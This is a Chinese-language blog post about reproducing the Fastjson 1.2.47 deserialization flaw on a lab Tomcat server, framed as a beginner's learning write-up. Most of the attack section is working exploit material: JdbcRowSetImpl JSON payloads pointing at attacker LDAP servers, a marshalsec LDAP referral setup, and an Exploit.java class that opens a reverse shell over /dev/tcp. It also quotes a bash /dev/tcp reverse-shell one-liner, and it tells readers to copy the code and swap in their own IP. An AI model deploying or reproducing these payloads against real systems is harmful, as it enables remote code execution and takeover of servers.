Fastjson1.2.47反序列化+环境搭建+漏洞复现
初次接触Fastjson反序列化漏洞,最新出的1.2.68及绕过文章不太看得懂,有知识断层。JNDI服务、Ldap协议、rmi协议、Maven项目等等不懂开发,这些都不了解。
找了几篇看得懂的问题先验证验证1.2.47吧。
在最后反弹shell的时候踩了太多坑,如果有读者看我文章复现,建议先通读下文章。
一、环境准备
靶机环境:
系统:win 7 64
Tomcat:7.0.103
fastjson:1.2.47
JDK:1.8.0_181(看了好几篇文章说复现fastjson和JDK版本有关,防坑)。
后来这里还是坑了,两种不同的协议实现反弹shell有如下版本需求,而且最后接收shell的vps的JDK版本要和靶机的版本相近。
RMI < 8u121、LDAP < 8u182(本文复现使用LDAP)
二、部署
JDK、Tomcat环境部署不多说了,直接将Fastjson放到Tomcat下的webapps下即可。在别的文章看到的,直接下载https://blog.csdn.net/qq_40989258/article/details/103049474
Fastjson1.2.47:链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven
三、POC
1、用burp抓包,改POST请求,添加参数{"name":"xx","age":"999"},查看返回,服务正常。
2、利用NC监听来判断漏洞是否存在:
kail:nc -lvpp 1234监听端口
POC如下:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://自己的ip:1234/Exploit","autoCommit":true}}}
收到来自靶机的响应,证明漏洞存在。
3、利用DNSlog来判断漏洞是否存在
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kd00nn.dnslog.cn","autoCommit":true}}}
4、外网系统测试
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://if6ooy.dnslog.cn","autoCommit":true}}}
四、getshell
搞了两天发现各种环境不合适,JKD版本、系统版本等等,最终版环境如下:
靶机环境:CenOS 7 x64 、jdk1.8.0_181、apache-tomcat-7.0.105、fastjson1.2.47(关闭Linux防火墙)
vps环境:kail 、jdk1.8.0_181、python3
攻击机:无所谓,burp抓包就行
靶机ip:192.168.0.118
vps:192.168.0.110
1、靶机环境部署
步骤:安装JDK——安装tomcat——fastjson放入tomcat/webapp文件夹下——启动tomcat——web访问测试,如下
工具准备:apache-tomcat-7.0.105.tar.gz、fastjson1.2.47.tar.gz、jdk-8u181-linux-x64.tar.gz
先用linxu管理工具将所需工具拖至opt目录下:tomcat7、JDK、fastjson
——————安装JDK——————
tar -zxvf jdk-8u181-linux-x64.tar.gz //解压
vi /etc/profile //编辑环境变量
在文件最下方直接加入环境变量保持退出
export JAVA_HOME=/opt/jdk1.8.0_181
export JRE_HOME=/opt/jdk1.8.0_181/jre
export CLASSPATH=.:${JAVA_HOME}/jre/lib/rt.jar:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
export PATH=$PATH:${JAVA_HOME}/bin
source /etc/profile //配置生效
坑:如果原本就有JDK版本,安装新版本后修改环境变量即可,方法另行百度
——————安装tomcat及web环境——————
tar -zxvf apache-tomcat-7.0.105.tar.gz //解压tomcat
mv /apache-tomcat-7.0.105 /tomcat //重搞一个文件
chmod -R777 tomcat //给权限
tar -zxvf fastjson1.2.47.tar.gz //解压fastjson
mv ./fastjson ./tomcat/webapps //移动到web服务下
cd /tomcat/bin //切如tomcat的bin目录下
./catalina.sh start //启动tomcat服务
如下图显示started表示已经启动成功。
访问ip+8080/fastjson
坑:如果这里访问不了的话linux关闭防火墙后记得重启,我是这样解决的
2、反弹shell
这里就不重复上面验证是否存在的问题了,如果是第一次搭建,建议先验证下是否存在。
步骤:python搭建http服务——marshalsec开启监听转发——nc开启监听接收shell——攻击——反弹成功
工具准备:Exploit.java、marshalsec-0.0.3-SNAPSHOT-all.jar
————exp准备—————
先上EXP,里面的ip改为接收shell的ip,文件命名为Exploit.java
说明:我这里用的是LDAP协议有的文章踩过坑:"bash -i >& /dev/tcp/xx.xx.xx.xx/10001 0>&1" 反弹不回来shell,rmi的另行百度,乖乖复制下面代码改ip就好。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
javac Exploit.java 形成class文件
——————python启http服务————
python -m SimpleHTTPServer 8083
坑:这里千万千万要在放着exp的目录下直接启动,启动后访问下效果如下
——————marshalsec启动——————
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.110:8083/#Exploit 9999 Listening on 0.0.0.0:9999
坑:端口有些多,有点混乱,跟着复现的直接该ip吧,所有代码里的ip只涉及到接收shell的IP
——————nc开启监听——————
nc -lvp 1888
——————攻击————————
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.0.110:9999/Exploit","autoCommit":true}}}
——————成功接收shell——————
这的里坑:只有三处同时间接收到请求并成功响应,大概率就可以返回shell了,还有nc在看到有返回信息的时候,不会显示shell界面,空白处直接运行命令即可。
总结:看了很多文章,废了好几天,踩了很多坑,照猫画虎的成功复现,但涉及深层次的协议和原理还是不太懂,过阵子闲了试试最新版本1.2.68的复现,跟着了解了解原理。
参考文章:
https://blog.csdn.net/qq_40989258/article/details/103049474
https://www.cnblogs.com/nul1/p/12747709.html